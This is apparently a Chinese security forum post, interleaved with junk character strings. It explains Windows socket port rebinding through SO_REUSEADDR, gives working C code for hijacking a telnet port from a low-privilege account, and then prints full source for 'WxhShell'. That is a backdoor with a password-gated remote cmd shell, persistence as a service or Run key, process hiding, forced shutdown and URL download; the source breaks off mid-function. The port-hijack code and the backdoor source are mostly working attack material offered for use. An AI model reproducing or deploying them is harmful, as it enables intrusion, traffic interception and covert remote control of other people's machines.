在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
k#c BBrY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
)>\J~{ ]^3_eHa^d saddr.sin_family = AF_INET;
OcQ_PE5\ F$ZWQ9&5U0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Z,lUO. y$r9Y!?s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)gmDxD
^C d?v#gW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
P qagep d SV<*qz 这意味着什么?意味着可以进行如下的攻击:
bhOyx U4 m[@wF 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
L`R,4mI.W ngsax1xO 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
zv@'x
nY] pnxjuDN7}x 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
lE?e1mz{
~XsS00TL`G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$a15
8 0Y)b319B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
YUT"A{L htX'bA 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"*RCV6{ I%e7:cs > 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>, 234ab=d )N)ziAy} #include
,H22;UV9 #include
3a!/EP #include
$C9<{zX
#include
&I'~:nWpt DWORD WINAPI ClientThread(LPVOID lpParam);
Qc[[@=S% int main()
iV'-j,-i {
Jgtvia WORD wVersionRequested;
M\\TQ(B DWORD ret;
.7ahz8v WSADATA wsaData;
n
'P: BOOL val;
u%XFFt5 SOCKADDR_IN saddr;
oq8~PTw SOCKADDR_IN scaddr;
"{z9 L+ int err;
GVn9=[r SOCKET s;
i$"FUC~' SOCKET sc;
;4 ?%k ) int caddsize;
JO :m:
M HANDLE mt;
?z:xQ*#X DWORD tid;
?#04x70 wVersionRequested = MAKEWORD( 2, 2 );
(g7nMrE$j err = WSAStartup( wVersionRequested, &wsaData );
2<ef&?ljk if ( err != 0 ) {
$XyGCn printf("error!WSAStartup failed!\n");
8^dGI9N
return -1;
*zX<`E }
}Q\yem saddr.sin_family = AF_INET;
Y] P}7GZ A:
0]
n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7DOAG[gH t&eD;lg : saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cLR8U1k' saddr.sin_port = htons(23);
Z#V[N9L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zh/+1 {
A]H+rxg printf("error!socket failed!\n");
;A-Ef return -1;
n8:2Z> }
/)oxuk&}c val = TRUE;
;H:qDBH //SO_REUSEADDR选项就是可以实现端口重绑定的
R`1$z8$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
f_Wn[I{ {
lPFMNRt~8 printf("error!setsockopt failed!\n");
3J(STIxg return -1;
l" sR\`~ }
vm4]KEyrX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
r5s*"z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$mlsFBd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&Q&$J )0 m|f|u3'z$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;nh7Elk {
Qz$.t>@V= ret=GetLastError();
Q45rP4mQ printf("error!bind failed!\n");
E&[ox[g{ return -1;
M2oKLRt)L }
VFYJXR{ listen(s,2);
ko,
u while(1)
v
WhtClJ3 {
{?m',sG;& caddsize = sizeof(scaddr);
5@v!wms //接受连接请求
<?Lj!JGX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
aX~iY ~?_ if(sc!=INVALID_SOCKET)
Eydk645:3 {
lcUL7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#a .aD+d' if(mt==NULL)
#vDe/o+= {
Q7DkhKT printf("Thread Creat Failed!\n");
fq F1-% break;
Y:byb68 }
eA+6-'qN }
0&mz'xra CloseHandle(mt);
Zmp ^!|=X! }
V'6%G:?0a closesocket(s);
E4{^[=} WSACleanup();
I`y}Ky<q return 0;
-AffKo }
t;4{l`dk DWORD WINAPI ClientThread(LPVOID lpParam)
;XTP^W!6f {
6~2!ZU SOCKET ss = (SOCKET)lpParam;
sXfx[)T< SOCKET sc;
n=yFw\w' unsigned char buf[4096];
e8gD(T SOCKADDR_IN saddr;
h\20 long num;
A!j&g(Z"Q DWORD val;
U~T/f-CT DWORD ret;
QzV:^!0J //如果是隐藏端口应用的话,可以在此处加一些判断
c5t?S@b //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
U9;AU]A saddr.sin_family = AF_INET;
#nu?b?X' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
C"YM"9JSJ saddr.sin_port = htons(23);
>Vg<J~[g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_$F I> {
5X[=Q> printf("error!socket failed!\n");
p~M^' k=d return -1;
D+k5e= }
8WaVs 6 val = 100;
^Ji5)c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Rr:,'cXGi {
;zp0,[r ret = GetLastError();
}b~ZpUL! return -1;
ymzlRs1^Ct }
Blf;_e~=[j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
OHH wcJ 7N {
<S5Am%vo ret = GetLastError();
Pirc49c return -1;
wLNO\JP' }
jtN2%w; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#:236^xYS {
$7lI Dt printf("error!socket connect failed!\n");
k+%6:r,r& closesocket(sc);
gwT"o closesocket(ss);
uE+]]ir return -1;
J6|5*|*^ }
{aAA4.j^ while(1)
!7Ta Vx}`( {
~u-mEdu3C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
R`A@F2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
Uln[UK //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
HP&+ 8 num = recv(ss,buf,4096,0);
*y
F 9_\n if(num>0)
M2mte#h send(sc,buf,num,0);
s8eFEi else if(num==0)
W}nD#9tL break;
$I+QyKO9k
num = recv(sc,buf,4096,0);
<{7B ^' if(num>0)
A=E1S{C send(ss,buf,num,0);
mmEr2\L else if(num==0)
Qnph?t> break;
[,$] %|6wt }
2et7Vw closesocket(ss);
MyAi)Mz~o closesocket(sc);
I=|b3- return 0 ;
@)|62Dv / }
Hj$JXo[U 3<CCC+47 F3i+t+Jt ==========================================================
Y6&w0~?! -6(C^X% 下边附上一个代码,,WXhSHELL
O| ) [j@7 {-09,Q4[& ==========================================================
2D>WIOX yk,o*g #include "stdafx.h"
vzd1:'^t .B+R+2uY3 #include <stdio.h>
5O%Q*\( #include <string.h>
tQ&.;{5[f #include <windows.h>
m?V4r#t #include <winsock2.h>
D
]: sR #include <winsvc.h>
4U*J{''L #include <urlmon.h>
q
okgu$2 yF0\$%H>$ #pragma comment (lib, "Ws2_32.lib")
?YOH9%_cs #pragma comment (lib, "urlmon.lib")
K?8{y ^y]CHr #define MAX_USER 100 // 最大客户端连接数
?~Fk_#jz,@ #define BUF_SOCK 200 // sock buffer
q;3.pRw( #define KEY_BUFF 255 // 输入 buffer
<,$(,RX *Fi`o_d9[` #define REBOOT 0 // 重启
7F!_gj p #define SHUTDOWN 1 // 关机
u%3D{Dj d[9c6C:<q #define DEF_PORT 5000 // 监听端口
~ODm?k mEyJ
o| #define REG_LEN 16 // 注册表键长度
c=p`5sN) #define SVC_LEN 80 // NT服务名长度
,u8)g;8s [p^N].K$ // 从dll定义API
MF)Xc\}0p typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
r BQFC4L typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
* $~H=4t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[DpGL/Y. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
RY3ANEu+ /Ut h#s: // wxhshell配置信息
A[`c2v-hF struct WSCFG {
QV,X> !Nz int ws_port; // 监听端口
'Alt+O_ char ws_passstr[REG_LEN]; // 口令
~w_4
nE int ws_autoins; // 安装标记, 1=yes 0=no
4wk-f7I( char ws_regname[REG_LEN]; // 注册表键名
&MKG#Y} char ws_svcname[REG_LEN]; // 服务名
h
U\)CM char ws_svcdisp[SVC_LEN]; // 服务显示名
{>PN}fk2QP char ws_svcdesc[SVC_LEN]; // 服务描述信息
6A&e2K> A
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
KJ M:-z@ int ws_downexe; // 下载执行标记, 1=yes 0=no
ufyqfID char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
WDQtj$e+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
#RT} -H {|nm0vg`A };
^}7iouE C 5#3/ // default Wxhshell configuration
ARvT struct WSCFG wscfg={DEF_PORT,
S<HR6Xw "xuhuanlingzhe",
=oQw?,eY
1,
/I&Hq7SW` "Wxhshell",
$8zsqd 4? "Wxhshell",
]wFKXZeK "WxhShell Service",
s3@sX_2 "Wrsky Windows CmdShell Service",
"h?;)Ye "Please Input Your Password: ",
:ZG^`H/X1d 1,
7ADh "
http://www.wrsky.com/wxhshell.exe",
{uH
4j4)2 "Wxhshell.exe"
Rj6:.KEJ };
9DcUx- t9T3e // 消息定义模块
Hbwjs?Vq?] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
AKs=2N>7 char *msg_ws_prompt="\n\r? for help\n\r#>";
$Lg%CY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
y
Nb&;E7 H char *msg_ws_ext="\n\rExit.";
juOOD char *msg_ws_end="\n\rQuit.";
h<;kj#qbb char *msg_ws_boot="\n\rReboot...";
bL*;6TzRK char *msg_ws_poff="\n\rShutdown...";
E/ %S0 char *msg_ws_down="\n\rSave to ";
6&V4W"k B198_T! char *msg_ws_err="\n\rErr!";
eBiP\ char *msg_ws_ok="\n\rOK!";
8was/^9; 3&i8C,u]/O char ExeFile[MAX_PATH];
"a;z int nUser = 0;
eveGCV;@ HANDLE handles[MAX_USER];
a,X=!oJ int OsIsNt;
q@ !p Vlb L
p; SERVICE_STATUS serviceStatus;
8\c=Un SERVICE_STATUS_HANDLE hServiceStatusHandle;
86d* )US|&>
o8 // 函数声明
A6w/X`([O int Install(void);
VU,\OOp int Uninstall(void);
+ wd} '4) int DownloadFile(char *sURL, SOCKET wsh);
]:TX> X! int Boot(int flag);
),`MAevp void HideProc(void);
bqY}t. Y&" int GetOsVer(void);
0[6llcuj int Wxhshell(SOCKET wsl);
Fs_,RXW" void TalkWithClient(void *cs);
7kpCBLM(} int CmdShell(SOCKET sock);
8>q:Q<BB2 int StartFromService(void);
]PdpC" int StartWxhshell(LPSTR lpCmdLine);
Ycb<'M*jE TSu^.K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
4f,D3e%T| VOID WINAPI NTServiceHandler( DWORD fdwControl );
]e+IaZ[Wo v8g3]MVj3 // 数据结构和表定义
pJ7wd~wF* SERVICE_TABLE_ENTRY DispatchTable[] =
B.fLgQK0 {
FxOhF03\=[ {wscfg.ws_svcname, NTServiceMain},
Bu?"b=B* {NULL, NULL}
DJgk"' };
Gjuc"JR7 AfvTStwr // 自我安装
i gzISYC_ int Install(void)
M52kau {
J{72%S char svExeFile[MAX_PATH];
=!NYvwg6;o HKEY key;
I%xrDiK97 strcpy(svExeFile,ExeFile);
}i_[wq{E& lv9Ss-c4 // 如果是win9x系统,修改注册表设为自启动
CaNZScnZ if(!OsIsNt) {
E&0A W{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
p}uTqI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u&l2s&i RegCloseKey(key);
;@K,>$ur- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
G[u_Uu=> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Q(m} Sr4 RegCloseKey(key);
G 8|[.n return 0;
AG)N^yd }
[:$j<}UmB }
BXueOvO8 }
}4xxge?r else {
:7Mo0,Bw, k1>%wR // 如果是NT以上系统,安装为系统服务
RhyI\(Z2q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
FsZM_0>/s if (schSCManager!=0)
Mr:*l`b_ {
_%l+v SC_HANDLE schService = CreateService
!Dkz6B* (
7d/wT+f schSCManager,
Wf_aEW&n wscfg.ws_svcname,
fT._Os?i wscfg.ws_svcdisp,
lsW.j#yE! SERVICE_ALL_ACCESS,
=Z/'|;Vd_x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
hX)r%v: SERVICE_AUTO_START,
3f's>+,#% SERVICE_ERROR_NORMAL,
P,h@F+OZN svExeFile,
,Z_nV+l_ NULL,
MS^,h>KI NULL,
PGT!HdX#{ NULL,
cv:nlq) NULL,
!=&]#-;b NULL
\,
n'D );
X_s;j5ur if (schService!=0)
aC3\Hs {
i )3Y\u CloseServiceHandle(schService);
Ms1\J2 CloseServiceHandle(schSCManager);
%n}fkj' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7u5B/M! strcat(svExeFile,wscfg.ws_svcname);
3}g?d/^E3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
M#S8x@U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
F]yclXf(' RegCloseKey(key);
/UyW&]nK return 0;
58e{WC }
^0{S!fs }
WS(@KN CloseServiceHandle(schSCManager);
R~RY:[5?w }
'Iyk`=R }
7C2/^x P Qg6m return 1;
A9l^S|r }
}f&7<E )CR8-z1` // 自我卸载
3%EwA\V( int Uninstall(void)
aqzvT5*8% {
iT^lk'?{O HKEY key;
P#ru-0DD -m'a%aog if(!OsIsNt) {
w4L\@y3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
SmR*b2U RegDeleteValue(key,wscfg.ws_regname);
[c86b RegCloseKey(key);
bMSF-lQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ui 2RTAb RegDeleteValue(key,wscfg.ws_regname);
GMNf#;x RegCloseKey(key);
r456M-~ return 0;
kI[EG<N1k }
bjT0Fi0- }
}_?7k0EZ@ }
BMX x(W] else {
&OzJ^G\o M$&>"%Oi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
:cynZab if (schSCManager!=0)
'!1lK {
p$9N}}/c SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~o #
NOfYi if (schService!=0)
n.1a1 Tf {
&R^mpV5 if(DeleteService(schService)!=0) {
?q,x?`|(8 CloseServiceHandle(schService);
WLh_b)V| CloseServiceHandle(schSCManager);
LoCxoAg return 0;
"R9kF- }
H`io|~Q CloseServiceHandle(schService);
fZ
%ZV }
HPCA,*YR` CloseServiceHandle(schSCManager);
_v$mGZpGY }
A1'IK. }
'M'LJ.,"/ wy-!1wd return 1;
El+]}D" }
54^hBejQ ,~4(td+R7 // 从指定url下载文件
dO8Z {wfs int DownloadFile(char *sURL, SOCKET wsh)
Xif`gb6` {
"R30oA#m HRESULT hr;
O-'T*M> char seps[]= "/";
D3HB`{ char *token;
>=Rb:#UM char *file;
jgMWjM6. char myURL[MAX_PATH];
EhVnt#`Si char myFILE[MAX_PATH];
r}5GJ|p0 U)l>#gf8 strcpy(myURL,sURL);
Z'j<wRf token=strtok(myURL,seps);
?t%5 / while(token!=NULL)
VI+Y 4T@ {
ePY K^D file=token;
eb8_guZ token=strtok(NULL,seps);
Q@j:b]Y9 }
q{5Vq_s\ oDP|>yXC) GetCurrentDirectory(MAX_PATH,myFILE);
}`g*pp* strcat(myFILE, "\\");
0yZw`|Zh[ strcat(myFILE, file);
34l=U? send(wsh,myFILE,strlen(myFILE),0);
D@ lJ^+ send(wsh,"...",3,0);
z"H%Y8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
SMy&K[hJ[ if(hr==S_OK)
]E3g8?L return 0;
;kF p)*i else
23fAc"@ B return 1;
9"aTF,'F/ v m$v[ }
zld>o3K} gI%n(eY // 系统电源模块
So 5{E4[ int Boot(int flag)
c~C W-%wN {
i'u;"ot=
HANDLE hToken;
7xcYM TOKEN_PRIVILEGES tkp;
qqAsh]Z !3&}r
if(OsIsNt) {
}hf*Jw
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=0-qBodbl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
H9Z3.F(2 tkp.PrivilegeCount = 1;
E:tUbWVp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Q6>vF)(
- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
b$e JH if(flag==REBOOT) {
IpP0|:} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
d^Wh-U return 0;
2#[Y/p }
~@O4>T+VW else {
. =5Jpo if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
iUKj:q: return 0;
YsDl2P }
{!S/8o"] }
.edZKmC6 else {
G@'0vYb# if(flag==REBOOT) {
K_xOY
* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(l,o UBRr return 0;
s [!SG`& }
j
AE0$u~. else {
,jWd?-NH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
X>4`{x ` return 0;
9..k/cH }
a]k&$ }
{3Rax5Ty ^/uGcz|. return 1;
uj@<_|7 }
w\ :b(I &|4Uo5qS=Z // win9x进程隐藏模块
LNb![Rq void HideProc(void)
4tU~ ^z {
Y[DKj!v ,+RO 5n HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1L|(:m+ if ( hKernel != NULL )
? `KOW {
w;(gi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
{|%O)fr, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
MD)"r>k FreeLibrary(hKernel);
D^{:UbN }
Z^l!y5s/H ChGM7uu2 return;
gK( 4<PO' }
!O-+h0Z @FV;5M:I // 获取操作系统版本
.g~@e_;): int GetOsVer(void)
EHHxCq? {
H^g<`XEgw OSVERSIONINFO winfo;
C] w< &o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
6~S0t1/t? GetVersionEx(&winfo);
ihWz/qx&q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
B`aAvD`7 return 1;
}}_uN-m else
*PEuaRDN return 0;
pYG,5+g }
*
2%e.d3"M Uz|]}t5V // 客户端句柄模块
\7/_+)0}' int Wxhshell(SOCKET wsl)
G= cxc_9 {
4QNR_w SOCKET wsh;
->8q, W2A struct sockaddr_in client;
pxx(BE DWORD myID;
r\d:fot clw91yrQn while(nUser<MAX_USER)
'qJ-eQ7e {
02[II_< 1 int nSize=sizeof(client);
G{.+D2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
HH?*"cKF~ if(wsh==INVALID_SOCKET) return 1;
r<v%Zp O:)IRB3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~S6 {VK. if(handles[nUser]==0)
njMy&$6a## closesocket(wsh);
~P_kr'o else
]Qr8 wa>Z nUser++;
]LTc)[5Zj }
<h=M
Rw,l WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?<'W~Rm6n %
eRwH
> return 0;
29^bMau)v }
3L?a4,Q"k} 17)M.(qmuP // 关闭 socket
5-HJ&Q void CloseIt(SOCKET wsh)
,d>~=' {
U_'q- *W closesocket(wsh);
AFTed?( nUser--;
Pfx71*u, ExitThread(0);
_kN%6~+U }
)c/y07er )`mF.87b&h // 客户端请求句柄
dY<#a,eS void TalkWithClient(void *cs)
; ZV^e {
5R `6zhf `YNC_r#tG SOCKET wsh=(SOCKET)cs;
%E"/]!}3 char pwd[SVC_LEN];
IGT_
5te char cmd[KEY_BUFF];
:QV6z*#zD char chr[1];
ukf\* int i,j;
]a#]3(o]} FM"BTA:C while (nUser < MAX_USER) {
~#_$?_/( O^weUpe\ if(wscfg.ws_passstr) {
YO$b# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@ ^cgq3H' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[;?{BB //ZeroMemory(pwd,KEY_BUFF);
)]>
'7] i i=0;
D{c>i`\G while(i<SVC_LEN) {
BJxmW's/ n "KJB // 设置超时
:TYzzl43 fd_set FdRead;
8;\tP29 struct timeval TimeOut;
jnzz~: FD_ZERO(&FdRead);
KH>sCEt FD_SET(wsh,&FdRead);
5qQ(V)ah TimeOut.tv_sec=8;
\Ntdl:fSw TimeOut.tv_usec=0;
}|"*"kxi! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`OReSg
2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
AJlIA[Kt: k`mrRs if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
y'|W[' pwd
=chr[0]; e=;@L3f
if(chr[0]==0xd || chr[0]==0xa) { UN?T}p-
oF
pwd=0; ((>3,%B`
break; vKf;&`^qE
} GnrW{o
i++; zw0 r
i6
} W#7-%oT
;:\,x
// 如果是非法用户,关闭 socket 3KFrVhB=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Gh8nQbh
} ajW$d!
i^ cM@?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t>GLZzO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'a/6]%QFd!
H&=4y) /.
while(1) { m\Fb ,
5`'au61/2
ZeroMemory(cmd,KEY_BUFF); T{{AZV"pB
MY*>)us\
// 自动支持客户端 telnet标准 obc^<ZD]
j=0; VueQP|
while(j<KEY_BUFF) { @1-GPmj-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m *bKy;'8
cmd[j]=chr[0]; xKLcd+hCZ
if(chr[0]==0xa || chr[0]==0xd) { $17
v,
cmd[j]=0; 4U
a~*58
break; B0XBI0w^Y
} WlRZ|.
j++; V<NsmC=g
} iLd"tn'
6dR-HhF
// 下载文件 m>-^K
if(strstr(cmd,"http://")) { u3i|}`
send(wsh,msg_ws_down,strlen(msg_ws_down),0); IfmIX+t?
if(DownloadFile(cmd,wsh)) 8j+:s\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tTh;.88Z{
else 0CVsDVA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $s(4?^GP
} qTa]th;
else { lp0T\
%
]7R&m)16
switch(cmd[0]) { nK%/tdq
i&'^9"Z)O
// 帮助 [FV=@NI
case '?': { L!b0y7yR
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . I&)MZ>n
break; &~JfDe9IS
} g*r{!:,t
// 安装 VRQbf
case 'i': { )av'u.]%c
if(Install()) JU=\]E@8c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C(1A8
else >?{iv1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N7HbOLpM
break; 6[3Ioh
} Zj+}T
// 卸载 Vq)gpR
case 'r': { Yx}"> ;\
if(Uninstall()) ?(NT!es
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5IE+M
else vLK\X$4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;]oXEq`
break; EO9kE.g
} HSr"M.k5
// 显示 wxhshell 所在路径 Aiks>Cyi23
case 'p': { ~ut& U
char svExeFile[MAX_PATH]; =6Kv`
strcpy(svExeFile,"\n\r"); v1"g!%U6
strcat(svExeFile,ExeFile); l`M5'r]l
send(wsh,svExeFile,strlen(svExeFile),0); eA*Jfb
break; 2NArE@
} VNxpOoV=S
// 重启 RZ<+AX9R
case 'b': { bDh:!M
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EYJ i6#
if(Boot(REBOOT)) 2*-ENW2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p'%: M
else { kh>SrW]B%
closesocket(wsh); lEyG9Xvi
ExitThread(0); y[^k*,=
9
} m_E[bDON
break; _86*.3fQG
} rKy-u
// 关机 i>]<*w
case 'd': { VT5cxB<
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8=n9hLhqo
if(Boot(SHUTDOWN)) M ~ i+F0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); * Y%<b86U
else { %eutfM-?6
closesocket(wsh); wzDk{4U
ExitThread(0); :Er^"9'A2
} _[$T29:8\]
break; n ,&/D
} wZo.ynXT
// 获取shell #LN5&i;s
case 's': { H4}%;m%
CmdShell(wsh); *gM,x4 Y
closesocket(wsh); *%OYAsc
ExitThread(0); m{bZRkt
break; I9[1U
} >op:0on]}
// 退出 $S6HZG:N
case 'x': { BR& Aq
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b!'l\~`{i
CloseIt(wsh); GSMk\9SI
break; mQd4#LJ_
} X(Y#9N"
// 离开 v`#j
case 'q': { ^CZCZ,v
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <*s"e)XeqF
closesocket(wsh); ID67?:%r
WSACleanup(); YG0Px Zmi
exit(1); Y7<zm}=(/
break; YSR mt/
} hpbwZ
} ?S (im
} o"rq/\ovv
?QCmSK=L
// 提示信息 o! aLZ3#X
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J>rka]*
} :J^qj AV
}
f~w>v
aq3~!T;W
return; V]79vC
} D
Irgq|8
8F#osN
// shell模块句柄 2O
eshkE
int CmdShell(SOCKET sock) z;i4N3-:
{ OFc\fW#
STARTUPINFO si; D`6iDit
ZeroMemory(&si,sizeof(si)); t#C,VwMe[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +7,8w
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YEzU{J
PROCESS_INFORMATION ProcessInfo; <fN;
xIB
char cmdline[]="cmd"; #
;K,,ku
x
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^:`oP"%-T
return 0; 4&Byl85q
} a:85L!~:l
'It?wB W
// 自身启动模式 U^MuZ
int StartFromService(void) {m[s<A(
{ 93j{.0]X
typedef struct JIzY,%`\
{ eP "`,<
DWORD ExitStatus; 5iVQc -m&
DWORD PebBaseAddress; 3UdU"d[75
DWORD AffinityMask; )zU:
DWORD BasePriority; i[\w%(83Fi
ULONG UniqueProcessId; yL6^\x
